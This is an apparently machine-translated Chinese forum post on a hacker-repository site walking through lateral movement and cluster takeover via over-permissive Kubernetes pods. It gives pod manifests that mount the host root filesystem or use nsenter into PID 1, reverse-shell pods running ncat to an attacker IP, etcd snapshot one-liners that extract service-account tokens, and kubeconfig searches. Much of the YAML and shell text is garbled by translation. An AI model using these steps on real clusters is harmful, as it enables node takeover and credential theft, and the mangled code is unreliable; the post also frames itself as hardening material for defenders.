H

Kubernetes Pod 横向移动

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

Kubernetes Pod 横向移动​

1 前言​

本文讨论了攻击者在渗透测试方案中允许在kubernetes群集中创建POD的风险。提出了不同的解决方案,以通过POD横向移动,并最终以不同的配置接管群集。

2 摘要​

根据公司对安全和隐私保护的设计要求,以确保系统信息的安全性,其中一项原则是最低权限的原则。也就是说,每个用户,系统过程或应用程序都需要运行完成任务所需的最低权限。如果配置的权限超过所需的权限,则攻击者将使用这些方案获取敏感数据,入侵其他系统或执行权限升级,从而在当前网络中水平移动。
众所周知,Kubernetes的部署和DevOps的实施过程相对复杂。在部署期间,操作和维护人员的操作通常会导致配置错误或违反“最低许可原则”。本文总结了通过一些不当配置的权限在实际场景中绕过安全检测的各种方法。同时,操作和维护人员可以在本文中使用该案例来检查Kubernetes中的配置并加强环境,从而降低集群安全风险。

3 Kubernetes 提供的安全方案​

在配置POD时使用最低特权的原理提到了Kubernetes安全性最佳实践。但是如何执行细粒度的安全控制以及如何评估每个属性的风险? Kubernetes提供了解决上述问题的多种方法
PODSecurityPolicy
像其他专门的入学控制插件一样,PODSecurityPolicy是一种内置的策略API,PODSecurityPolicy可以为POD创建和更新提供精细的授权。核心是定义一组在运行时必须遵循的条件,以及相关字段的默认值。只有当POD符合这些条件时,K8S群集才能接受它们。
OPA网守
从Kubernetes v1.25开始,已删除PodSecurityPolicy(PSP)入院控制器。 OPA(开放策略代理):它是可以将策略写入代码的开源,通用策略引擎。提供一种高级声明性语言来制定策略并使复杂业务逻辑中的决策步骤脱离。 Gatekeeper是基于OPA的Kubernetes策略解决方案,可以替代PSP或某些RBAC功能。由于OPA和KUBERNETES对接往往是基础层,并且不方便用户使用,因此社区已经开发了基于OPA引擎的OPA Gatekeeper解决方案,这很方便使用。如果POD超过策略津贴的许可,则入学控制器可以拒绝POD进入群集。
但是,即使有定义和执行政策的控件,操作人员也不总是了解每个特定属性的实际安全性影响,并且通常不会根据需要锁定POD的创建。在穿透测试中,当获得的外壳在群集的吊舱内并有权在群集上创建POD,但是群集没有强制执行策略,那么接管群集控制权限非常简单。但是,如果您只能使用HostNetwork,HostPID,HostIPC,HostPath或特权在当前POD下创建POD,该怎么办?对于不同的方案,本文讨论了不同的收购选项。
各种许可概念:
特权:特权容器是一个具有主机所有功能的容器,可删除对常规容器的所有限制。特权容器几乎可以执行可以直接在主机上执行的所有操作,包括一些内核修改的操作等。例如:启动时的印花布容器,初始化容器。要设置容器网络,需要特权来修改操作系统的设备和名称空间。目前,需要特权容器。
HOSTPID:容器将共享其主机的过程名称空间,并且容器可以直接在主机上查看和操作进程。具体而言,HostPID的使用通常用于特殊用例,例如在容器中运行过程以查看主机上的其他过程。
HostPath:是Kubernetes的核心对象之一,允许在POD中使用本地文件系统。 Hostpath支持读写和仅阅读操作,并提供丰富的访问控制选项。
主机网:允许POD直接使用主机(节点)网络名称空间。当POD启用主机网时,它将与主机共享网络堆栈,并可以访问主机上的网络接口和端口。
HOSTIPC:是一个POD安全上下文设置,它控制POD是否可以共享主机的IPC(过程间通信)名称空间。

4 不同权限下的场景讨论​

4.1 所有权限均开放​

创建的POD将将主机的文件系统安装到POD上。如果您可以使用K8中的nodeName选择器来安排控制面板上的POD,则在吊舱中chroot到安装主机文件系统的目录。最后,在运行POD的节点上获得根本权限。
从ETCD数据库中读取关键信息- 攻击者可以通过在Selector中指定NodeName在指定的节点上创建POD。当将ECTD数据库部署在节点上时,它可以读取ETCD数据库中的内容,包括群集,密钥等的配置信息。
获取特权服务帐户令牌- 即使您只能在群集中的工作者节点上安排吊舱,也可以读取工人节点上吊舱中安装的密钥信息。在生产群集中,即使在工人节点上,通常至少有一个吊舱,该吊舱已安装到服务帐户。如果令牌具有较高的特权,则攻击者有权在所有名称空间中创建POD。

4.1.1 获取 shell​

让我首先谈论我的实验环境:
1
2
3
4
5
root@k8s-master:〜#kubectl获取节点
名称状态角色年龄版本
K8S-Master Ready Control-Plane 2D19H v1.28.2
K8S-Node1无需2D19H v1.28.4
K8S-NODE2无需2D19H v1.28.2
检查令牌当前拥有的权限:
1
kubectl auth can-i - list -token=xxx
202311291518861.png-water_print

实现上述方法的一个简单示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Apiversion: V1
KIND: POD
元数据:
NAME:全允许的前播
标签:
App:产品
SPEC:
HOSTNETWORK: TRUE
hostpid: true
hostipc: true
容器:
-Name:全允许的吊舱
Image: Ubuntu
SecurityContext:
特权: True
Folumemounts:
-MountPath: /主机
NAME: NODEROOT
command: ['/bin/sh','-c',' - ']
args: ['true;睡30;完毕;'这是给出的
#您可以通过节点选择器将其安排到K8S-Master控制面板
Nodename: K8S-Master
卷:
- 名称: Noderoot
HostPath:
路径: /
创建豆荚:
1
2
kubectl应用-f allow_all.yaml
kubectl exec- it all-howered-exec-pod- chroot /host bash
202311291523120.png-water_print

如果我们所处的豆荚没有POD/EXEC权限,我们可以使用反弹的方法来获得外壳。
202311291523445.png-water_print

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Apiversion: V1
KIND: POD
元数据:
NAME:全允许的revshell-pod
标签:
App:产品
SPEC:
HOSTNETWORK: TRUE
hostpid: true
hostipc: true
容器:
-Name:全允许的吊舱
Image: Raesene/ncat
command: ['/bin/sh','-c',' - ']
args: ['NCAT 192.168.88.139 4444 -e /bin /bash;''这是给出的
SecurityContext:
特权: True
Folumemounts:
-MountPath: /主机
NAME: NODEROOT
Nodename: K8S-Master
卷:
- 名称: Noderoot
HostPath:
路径: /
202311291524880.png-water_print

通过反弹获得的外壳:
202311291524378.png-water_print

4.1.2 后渗透​

4.1.2.1 寻找 token​

获得上述控制pannel节点后,您可以从ETCD中读取数据。一种优雅的方法是通过安装ECTD客户端连接。以下是一种简单的方法:
查看ETCD数据库文件路径:
1
PS -EF | grep etctd | sed s/\ - \ - /\\ n/g | GREP DATA-DIR
202311291524911.png-water_print

查看数据库文件内容
1
strings/var/lib/etcd/member/snap/db |较少的
从数据库中获取SA名并提取令牌:
1
etcd=strings/var/lib/etcd/member/snap/db;对于“ echo'$ etcd'中的x Grep eyjhbgcioij`; do name=`echo'$ etcd'| grep $ x -B40 | GREP注册表; Echo $ name \ | $ x;回声;完毕
202311291524989.png-water_print

获取一些默认令牌:
1
etcd=strings/var/lib/etcd/member/snap/db;对于“ echo'$ etcd'中的x Grep eyjhbgcioij`; do name=`echo'$ etcd'| grep $ x -B40 | GREP注册表; Echo $ name \ | $ x;回声;完成| Grep Kube-System | GREP默认
查看直接在豆荚中安装的令牌
1
cat/var/run/secrets/kubernetes.io/serviceaccount/token
202311291524890.png-water_print

配进Kubernetes 1.24中,创建ServiceAccount不会自动产生秘密。在POD中获得的令牌属于自动生成的群集,其有效周期为1H。

4.1.2.2 寻找 kubeconfigs​

kubeconfig是集群的配置文件。每个集群中的用户通过内置或自定义角色来绑定某些权限。通过KuberConfig文件,您可以在任何服务器上管理Kubernetes群集,并且只需要Kubernetes群集的Kubectl客户端。
1
2
3
4
5
6
查找/名称kubeconfig
查找/-Name kubelet.conf
ls /etc/kubernetes/admin.conf
查找/-Name .Kube
grep -r'Current -context' /home /
grep -r'Current -context' /root /
202311291525928.png-water_print

4.2 开放 Privileged HostPid 权限​

在这种情况下,与以前情况下的POD相比,唯一的变化是如何获得对主机的根访问。当攻击者无法通过Chroot访问主机的文件系统时,他可以使用NSENTER在运行POD的节点上获得Shell权限。
NSENTER是用于输入现有名称空间的Linux命令行工具,可以在指定过程的命令空间下运行指定的命令。名称空间是一种用于隔离过程资源的隔离机制,而通过名称空间隔离容器。通过使用NSENTER命令,您可以输入现有名称空间并执行命令或在该名称空间中查看其状态。
特权:在容器级别上true几乎打破了容器应提供的所有隔离。 PID名称空间是仍然存在的少数墙壁之一。但是,如果没有主机,则只能使用nsenter进入容器内运行的进程的命名空间。
当两个hostPID:设置为true和特权: TRUE时,POD将能够在主机上看到所有进程,您可以转到主机上的INIT系统(PID 1)并在节点上执行shell。

4.2.1 获取 shell​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Apiversion: V1
KIND: POD
元数据:
名称: Priv-Hostpid-Exec-Pod
标签:
App:产品
SPEC:
hostpid: true
容器:
-Name: Priv-Hostpid-Pod
Image: Ubuntu
TTY: TRUE
SecurityContext:
特权: True
command: ['nsenter',' - target','1',' - mount',' - uts','-ipc',' - net', - net',' - pid',' - ' - ' - ',',' - ',',',',',',',',','']]
Nodename: K8S-Master
创建POD后,直接kubectl exec -IT Priv-Hostpid-Exec-Pod- bash以获得主机根本权限。
同样,如果我们所处的豆荚没有POD/EXEC权限,我们可以使用弹跳的方法来获取外壳。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Apiversion: V1
KIND: POD
元数据:
名称: Priv-Hostpid-Revshell-Pod
标签:
App:产品
SPEC:
hostpid: true
容器:
-NAME: PRIV-HOSTPID-POD
Image: Raesene/ncat
SecurityContext:
特权: True
command: ['/bin/sh','-c']
args: ['NCAT 192.168.88.138 4444 -e'/usr/bin/nsenter -target 1 - -mount -mount -uts -ipc -ipc -net -net -net -pid-/bin/bash'']]
Nodename: K8S-Master
202311291525169.png-water_print

4.2.2 后渗透​

有关permeation的零件,请参考上一个场景,不会在此处描述。

4.3 开放 Privilege 权限​

当您只有特权权限时,有两种获得集群权限的方法:
安装主机文件系统:在特权模式下, /在POD中可以访问主机上的DEV。您可以使用MOUNT命令将包含主机文件系统的磁盘安装到POD中。但是,对于某些高级途径,在特权豆荚中无法访问它们。
利用cgroup漏洞:通过某些漏洞脚本(例如dustock.sh)获得根本权限。

4.3.1 获取 shell​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Apiversion: V1
KIND: POD
元数据:
名称: Priv-Exec-Pod
标签:
App:产品
SPEC:
容器:
- 名称: priv-pod
Image: Ubuntu
SecurityContext:
特权: True
command: ['/bin/sh','-c',' - ']
args: ['true;睡30;完毕;'这是给出的
Nodename: K8S-Master
同样,如果我们所处的豆荚没有POD/EXEC权限,我们可以使用弹跳的方法来获取外壳。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Apiversion: V1
KIND: POD
元数据:
name:私有revshell-pod
标签:
App:产品
SPEC:
容器:
- 名称: priv-pod
Image: Raesene/ncat
SecurityContext:
特权: True
command: ['/bin/sh','-c',' - ']
args: ['NCAT 192.168.88.138 4444 -e /bin /bash;''这是给出的
Nodename: K8S-Master

4.3.2 后渗透​

查看主机文件系统:
1
kubectl exec -it priv -exec -pod -fdisk -L
202311291525762.png-water_print

您可以看到SDA3是主机的文件系统,它直接安装了主机的文件系统:
1
2
kubectl exec -it priv-exec-pod-mkdir /host
kubectl exec -it priv -exec -pod -bash -c'登录/dev /sda3 /host /'
202311291526228.png-water_print

然后,您可以在这些文件系统中搜索一些敏感文件,例如令牌等:
202311291526962.png-water_print
 
后退
顶部